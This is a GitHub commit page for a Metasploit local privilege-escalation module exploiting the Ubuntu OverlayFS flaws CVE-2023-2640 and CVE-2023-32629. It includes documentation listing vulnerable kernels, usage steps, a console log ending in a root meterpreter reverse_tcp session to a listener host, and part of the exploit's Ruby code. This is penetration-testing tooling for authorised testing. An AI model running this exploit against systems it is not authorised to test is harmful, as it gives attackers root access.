Skip to content

Commit 19770cf

Browse files
gardnerappbwatters-r7
gardnerapp
authored and
bwatters-r7
committed
Remove unneeded file and rudocop corrections
Update modules/exploits/linux/local/gameoverlay_privesc.rb Co-authored-by: Brendan <[email protected]> Give bwatters7 credit, add docs Experiment with randomized bash copy and Rex::File.join remove unused line Add missing parenthesis fix problem with bash copy Remove rex::join, call proper method for generating payload add exploit::exe mixin, bash copy randomization Rubocop changes Remove nc
1 parent 6e09722 commit 19770cf

File tree

2 files changed

+162
-9
lines changed

2 files changed

+162
-9
lines changed

‎documentation/modules/exploit/linux/local/gameoverlay_privesc.md‎

Lines changed: 148 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,148 @@
1+
## Description
2+
3+
CVE-2023-2640 and CVE-2023-32629 are vunerabilites that allow for the arbitrary setting of
4+
capabilities while overlaying filesystems. On most Linux Kernels during the execution of
5+
`ovl_do_setxattr` an intermediate function `vfs_setxatrr` converts file capabilities in a
6+
way that limits them to the current namesapce. However, on some versions of the Ubuntu kernel
7+
`_vfs_setxattr_noperm` is called directly without calling `vfs_setxattr`.
8+
9+
When a new namespace is created the user will technically be "root" within that given
10+
namespace. This module will take advantage of this by setting the `CAP_SETUID` capability
11+
on a system binary. It will then perform filesystem overlay, copying the binary into the lower
12+
directory. Because of the flaws described above when the binary is transfered into the upper
13+
directory it's capabilities will not be sanitized and persist in the "normal" namespace.
14+
15+
## Vunerable Application
16+
17+
These vunerabilities are somewhat unique in that they effect a wide variety of Ubuntu releases
18+
and kernel versions, as described in the list below.
19+
20+
Ubuntu 23.04 (Lunar Lobster)m kernel 6.2.0, (CVE-2023-2640 & CVE-2023-32629)
21+
22+
Ubuntu 22.10 (Kinetic Kudu), kernel -> 5.19.0, (CVE-2023-2640 & CVE-2023-32629)
23+
24+
Ubuntu 22.04 LTS (Jammy Jellyfish), kernel -> 5.19.0, (CVE-2023-2640 & CVE-2023-32629)
25+
26+
Ubuntu 22.04 LTS (Jammy Jellyfish), kernel -> 6.2.0, (CVE-2023-2640 & CVE-2023-32629)
27+
28+
Ubuntu 20.04 LTS (Focal Fossa), kernel -> 5.4.0, (CVE-2023-32629)
29+
30+
Ubuntu 18.04 LTS (Bionic Beaver), kernel -> 5.4.0, (CVE-2023-32629)
31+
32+
The user can download a vunerable version, for example:
33+
34+
```
35+
sudo apt update
36+
sudo apt install -y linux-image-5.19.0-41-generic linux-headers-5.19.0-41-generic
37+
reboot
38+
```
39+
While testing @bwatters7 mentioned taking the system Be sure to take the system offline to
40+
prevent the vunerabilities from silently being patched.
41+
42+
This module has succesfully been tested on the following:
43+
44+
Ubuntu 22.04 LTS (Jammy Jellyfish) 5.19.0-41-generic
45+
46+
Ubuntu 20.04 LTS (Focal Fossa) 5.4.0-1018-aws
47+
48+
## Verification Steps
49+
50+
1). Start `msfconsole`
51+
52+
2). Get a session on a vunerable system
53+
54+
3). Use `exploit/linux/local/gameoverlay_privesc`
55+
56+
4). Optional: choose target for payload, either system command (1) or payload (2)
57+
`set target 1`
58+
59+
5). Set session `set session [SESSION]`
60+
61+
5). Do. `run`
62+
63+
6). You should get a new session running as root.
64+
65+
## Options
66+
67+
### Payload File Name
68+
Name of the file storing the payload, default is `marv`.
69+
70+
### Writable Dir
71+
The name of a directory with write permissions, defualt is `/tmp`. This will be where the
72+
payload file will be created. Additionally during the exploit a series of directories will be
73+
created here to perform the filesystem overlaying.
74+
75+
## Scenarios
76+
77+
You have a non-root session on one of the systems described above. Please note that this
78+
module will automatically run checks to determine if the system is vunerable, you can disable
79+
this with `set AutoCheck False`.
80+
81+
```
82+
> use exploit/linux/local/gameoverlay_privesc
83+
[*] No payload configured, defaulting to linux/aarch64/meterpreter/reverse_tcp
84+
msf6 exploit(linux/local/gameoverlay_privesc) > set session 1
85+
session => 1
86+
msf6 exploit(linux/local/gameoverlay_privesc) > set target 0
87+
target => 0
88+
msf6 exploit(linux/local/gameoverlay_privesc) > set payload linux/aarch64/meterpreter_reverse_tcp
89+
payload => linux/aarch64/meterpreter_reverse_tcp
90+
msf6 exploit(linux/local/gameoverlay_privesc) > set lhost 10.5.135.201
91+
lhost => 10.5.135.201
92+
msf6 exploit(linux/local/gameoverlay_privesc) > show options
93+
94+
Module options (exploit/linux/local/gameoverlay_privesc):
95+
96+
Name Current Setting Required Description
97+
---- --------------- -------- -----------
98+
PayloadFileName pVmtuGOGXdO yes Name of payload
99+
SESSION 1 yes The session to run this module on
100+
WritableDir /tmp yes A directory where we can write files
101+
102+
103+
Payload options (linux/aarch64/meterpreter_reverse_tcp):
104+
105+
Name Current Setting Required Description
106+
---- --------------- -------- -----------
107+
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
108+
LPORT 4444 yes The listen port
109+
110+
111+
Exploit target:
112+
113+
Id Name
114+
-- ----
115+
0 Linux_Binary
116+
117+
118+
119+
View the full module info with the info, or info -d command.
120+
121+
msf6 exploit(linux/local/gameoverlay_privesc) > run
122+
123+
[*] Started reverse TCP handler on 10.5.135.201:4444
124+
[*] Running automatic check ("set AutoCheck false" to disable)
125+
[*] Detected Ubuntu version: Jammy Jellyfish
126+
[*] Detected kernel version: 5.19.0-41-generic
127+
[+] The target is vulnerable. Jammy Jellyfish with 5.19.0-41-generic kernel is vunerable
128+
[*] Creating directory /tmp/UqNFkc/
129+
[*] Creating directory /tmp/UqNFkc/QKZiqWWsnSOz/
130+
[*] Creating directory /tmp/UqNFkc/WbrucZxIAlWZF/
131+
[*] Creating directory /tmp/UqNFkc/uKmqunqY/
132+
[*] Creating directory /tmp/UqNFkc/pwFUmC/
133+
[*] Writing payload: /tmp/UqNFkc/pVmtuGOGXdO
134+
[*] Starting new namespace, and running exploit...
135+
[+] Deleted /tmp/UqNFkc/
136+
[*] Meterpreter session 2 opened (10.5.135.201:4444 -> 10.5.132.149:49168) at 2024-10-02 16:28:43 -0500
137+
[*]
138+
139+
meterpreter > sysinfo
140+
Computer : 10.5.132.149
141+
OS : Ubuntu 22.04 (Linux 5.19.0-41-generic)
142+
Architecture : aarch64
143+
BuildTuple : aarch64-linux-musl
144+
Meterpreter : aarch64/linux
145+
meterpreter > getuid
146+
Server username: root
147+
meterpreter >
148+
```

‎modules/exploits/linux/local/gameoverlay_privesc.rb‎

Lines changed: 14 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@ class MetasploitModule < Msf::Exploit::Local
55
include Msf::Post::Linux::Kernel
66
include Msf::Post::File
77
include Msf::Exploit::FileDropper
8+
include Msf::Exploit::EXE
89

910
def initialize(info = {})
1011
super(
@@ -25,6 +26,7 @@ def initialize(info = {})
2526
'Author' => [
2627
'g1vi', # PoC
2728
'h00die', # Module Suggestion
29+
'bwatters-r7', # MsF Module
2830
'gardnerapp', # MsF Module
2931
],
3032
'Platform' => ['linux'],
@@ -43,7 +45,7 @@ def initialize(info = {})
4345
[
4446
'Linux_Binary',
4547
{
46-
'Arch' => [ ARCH_X86, ARCH_X64 ],
48+
'Arch' => [ ARCH_AARCH64, ARCH_X64 ],
4749
'PrependSetuid' => true
4850
}
4951
],
@@ -116,28 +118,31 @@ def check
116118
end
117119

118120
def exploit
119-
datastore['PayloadFilename']
120121
pay_dir = datastore['WritableDir']
121122
pay_dir += '/' unless pay_dir.ends_with? '/'
122-
pay_dir += Rex::Text.rand_text_alpha 10
123-
pay_dir += '/' unless pay_dir.ends_with? '/'
123+
124+
pay_dir += Rex::Text.rand_text_alpha(rand(6..13)) + '/'
125+
124126
print_status "Creating directory to store payload: #{pay_dir}"
125127
mkdir pay_dir
126-
pay_dir = datastore['WritableDir']
127-
pay_dir << '/' unless pay_dir.ends_with? '/'
128-
pay_dir += Rex::Text.rand_text_alpha(rand(6..13))
129-
pay_dir << '/'
128+
130129
directories = []
131130
directories << pay_dir
131+
132132
lower_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
133133
directories << lower_dir
134+
134135
upper_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
135136
directories << upper_dir
137+
136138
work_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
137139
directories << work_dir
140+
138141
merge_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
139142
directories << merge_dir
140-
bash_copy = '/var/tmp/bash'
143+
144+
bash_copy = '/var/tmp/' + Rex::Text.rand_text_alpha(rand(6..13))
145+
# bash_copy = '/var/tmp/bash'
141146

142147
directories.each do |dir|
143148
print_status "Creating directory #{dir}"

0 commit comments

Comments
 (0)